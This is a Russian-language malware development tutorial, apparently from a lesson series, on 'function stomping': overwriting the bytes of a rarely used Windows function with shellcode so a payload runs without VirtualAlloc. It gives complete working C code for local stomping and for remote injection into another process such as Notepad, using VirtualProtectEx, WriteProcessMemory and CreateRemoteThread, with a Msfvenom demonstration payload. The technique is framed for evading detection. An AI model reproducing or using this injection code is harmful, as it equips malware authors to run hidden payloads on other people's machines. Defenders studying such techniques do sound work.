Предыдущая статья показывала как запустить peyload и при этом избежать использования вызовов WinAPI VirtualAlloc/Ex.
Этот-же урок демонстрирует другой метод, который избегает использования этих WinAPI.
Термин "stomping" относится к действию перезаписи или замены памяти функции или другой структуры данных в программе другими данными.
"Function stomping" - это техника, при которой байты исходной функции заменяются новым кодом, в результате чего функция заменяется или больше не работает так, как предполагалось. Вместо этого функция будет выполнять другую логику. Для реализации этого требуется адрес жертвенной функции для "stomping".
Выбор целевой функции
Получение адреса функции, если она локальная, то это не сложно, но основной вопрос при этой технике - какая функция получается.
Перезапись часто используемой функции может привести к неконтролируемому выполнению полезной нагрузки или процесс может завершиться аварийно. Поэтому следует понимать, что нацеливание на функции, экспортируемые из ntdll.dll, kernel32.dll и kernelbase.dll, рискованно.
Вместо этого следует нацеливаться на менее часто используемые функции, такие как MessageBox, так как она редко используется операционной системой или другими приложениями.
Использование перезаписанной функции
Когда байты целевой функции заменяются на байты полезной нагрузки, функция больше не может быть использована, если это не предназначено специально для выполнения полезной нагрузки.
Например, если целевой функцией является MessageBoxA, то двоичный файл должен вызывать MessageBoxA только один раз, когда будет выполнена полезная нагрузка.
Локальный код функции Stomping
В демонстрации кода ниже, целевой функцией является SetupScanFileQueueA. Это совершенно случайная функция, но вряд ли она вызовет проблемы, если ее перезаписать.
Согласно документации Microsoft, функция экспортируется из Setupapi.dll. Поэтому первым шагом будет загрузка Setupapi.dll в локальную память процесса с использованием LoadLibraryA, а затем получение адреса функции с помощью GetProcAddress.
Следующим шагом будет "stomping" функции и замена её полезной нагрузкой. Убедитесь, что функция может быть перезаписана, пометив её область памяти как доступную для чтения и записи с использованием VirtualProtect.
Затем полезная нагрузка записывается по адресу функции, и, наконец, снова используется VirtualProtect, чтобы пометить область как исполняемую (RX или RWX).
C:
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
// ...
BOOL WritePayload(IN PVOID pAddress, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)){
printf("[!] VirtualProtect [RW] Не удалось из-за ошибки: %d \n", GetLastError());
return FALSE;
}
memcpy(pAddress, pPayload, sPayloadSize);
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect [RWX] Не удалось из-за ошибки: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int main() {
PVOID pAddress = NULL;
HMODULE hModule = NULL;
HANDLE hThread = NULL;
printf("[#] Нажмите <Enter>, чтобы загрузить \"%s\" ... ", SACRIFICIAL_DLL);
getchar();
printf("[i] Загрузка ... ");
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL){
printf("[!] LoadLibraryA Не удалось из-за ошибки: %d \n", GetLastError());
return -1;
}
printf("[+] ГОТОВО \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL){
printf("[!] GetProcAddress Не удалось из-за ошибки: %d \n", GetLastError());
return -1;
}
printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
printf("[i] Запись ... ");
if (!WritePayload(pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] ГОТОВО \n");
printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
getchar();
hThread = CreateThread(NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Нажмите <Enter>, чтобы выйти ... ");
getchar();
return 0;
}
Вставка DLL в двоичный файл
Вместо загрузки DLL с использованием LoadLibrary и затем получения адреса целевой функции с помощью GetProcAddress, можно статически связать DLL с двоичным файлом. Для этого можно использовать директиву компилятора pragma comment, как показано ниже.
C:
#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов
Затем целевую функцию можно просто получить с использованием оператора адреса (например, &SetupScanFileQueueA). Ниже приведен фрагмент кода, который обновляет предыдущий фрагмент кода с использованием директивы pragma comment.
C:
#pragma comment (lib, "Setupapi.lib") // Добавление "setupapi.dll" в таблицу импорта адресов
// ...
int main() {
HANDLE hThread = NULL;
printf("[+] Адрес \"SetupScanFileQueueA\" : 0x%p \n", &SetupScanFileQueueA);
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
printf("[i] Запись ... ");
if (!WritePayload(&SetupScanFileQueueA, Payload, sizeof(Payload))) { // Использование оператора адреса
return -1;
}
printf("[+] ГОТОВО \n");
printf("[#] Нажмите <Enter>, чтобы выполнить полезную нагрузку ... ");
getchar();
hThread = CreateThread(NULL, NULL, SetupScanFileQueueA, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Нажмите <Enter>, чтобы выйти ... ");
getchar();
return 0;
}
Демонстрация
Получение адреса SetupScanFileQueueA.
Оригинальные байты функции SetupScanFileQueueA.
Замена байтов функции на полезную нагрузку Msfvenom calc.
Запуск нагрузки
Stomping Injection в удаленный процесс
Давайте теперь попробуем перезаписать функцию в стороннем процессе.)
DLL-файлы, реализующие функции Windows API, используются всеми процессами, которые их используют, поэтому функции внутри DLL имеют одинаковые адреса в каждом процессе. Однако адрес самой DLL будет отличаться между процессами из-за различного виртуального адресного пространства. Это означает, что, хотя адрес целевой функции остается постоянным в разных процессах, DLL, который экспортирует эти функции, может не быть одинаковым.
Например, два процесса, A и B, будут использовать Kernel32.dll, но адрес DLL может отличаться в каждом процессе из-за рандомизации макета адресного пространства (Address Space Layout Randomization). Однако VirtualAlloc, который экспортируется из Kernel32.dll, будет иметь одинаковый адрес в обоих процессах.
Важно отметить, что для того чтобы перезаписать функцию удаленно, DLL, экспортирующая целевую функцию, должна быть уже загружена в целевой процесс.
Например, чтобы нацелиться на функцию SetupScanFileQueueA, которая экспортируется из Setupapi.dll, этот DLL должен быть уже загружен в целевой процесс.
Если удаленный процесс не загрузил Setupapi.dll, функция SetupScanFileQueueA не будет присутствовать в целевом процессе, что приведет к попытке записи по адресу, который не существует.
Код перезаписи функции в удаленном процессе
Следующий код похож на код локальной перезаписи функции, однако он использует разные функции WinAPI для инъекции кода.
C:
#define SACRIFICIAL_DLL "setupapi.dll"
#define SACRIFICIAL_FUNC "SetupScanFileQueueA"
// ...
BOOL WritePayload(HANDLE hProcess, PVOID pAddress, PBYTE pPayload, SIZE_T sPayloadSize) {
DWORD dwOldProtection = NULL;
SIZE_T sNumberOfBytesWritten = NULL;
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RW] Ошибка выполнения: %d \n", GetLastError());
return FALSE;
}
if (!WriteProcessMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten) || sPayloadSize != sNumberOfBytesWritten){
printf("[!] WriteProcessMemory Ошибка выполнения: %d \n", GetLastError());
printf("[!] Байты записаны: %d из %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
if (!VirtualProtectEx(hProcess, pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx [RWX] Ошибка выполнения: %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hProcess = NULL,
hThread = NULL;
PVOID pAddress = NULL;
DWORD dwProcessId = NULL;
HMODULE hModule = NULL;
if (argc < 2) {
wprintf(L"[!] Использование : \"%s\" <Имя процесса> \n", argv[0]);
return -1;
}
wprintf(L"[i] Поиск ID процесса \"%s\" ... ", argv[1]);
if (!GetRemoteProcessHandle(argv[1], &dwProcessId, &hProcess)) {
printf("[!] Процесс не найден \n");
return -1;
}
printf("[+] ГОТОВО \n");
printf("[i] Найденный PID целевого процесса: %d \n", dwProcessId);
printf("[i] Загрузка \"%s\"... ", SACRIFICIAL_DLL);
hModule = LoadLibraryA(SACRIFICIAL_DLL);
if (hModule == NULL) {
printf("[!] LoadLibraryA Ошибка выполнения: %d \n", GetLastError());
return -1;
}
printf("[+] ГОТОВО \n");
pAddress = GetProcAddress(hModule, SACRIFICIAL_FUNC);
if (pAddress == NULL) {
printf("[!] GetProcAddress Ошибка выполнения: %d \n", GetLastError());
return -1;
}
printf("[+] Адрес \"%s\" : 0x%p \n", SACRIFICIAL_FUNC, pAddress);
printf("[#] Нажмите <Enter> для записи полезной нагрузки ... ");
getchar();
printf("[i] Запись ... ");
if (!WritePayload(hProcess, pAddress, Payload, sizeof(Payload))) {
return -1;
}
printf("[+] ГОТОВО \n");
printf("[#] Нажмите <Enter> для выполнения полезной нагрузки ... ");
getchar();
hThread = CreateRemoteThread(hProcess, NULL, NULL, pAddress, NULL, NULL, NULL);
if (hThread != NULL)
WaitForSingleObject(hThread, INFINITE);
printf("[#] Нажмите <Enter> чтобы выйти ... ");
getchar();
return 0;
}
Демонстрация
Нацеливаемся на процесс Notepad.exe.
Получение адреса SetupScanFileQueueA.
Оригинальные байты функции SetupScanFileQueueA.
Замена байтов функции на полезную нагрузку Msfvenom calc.
Запуск нагрузки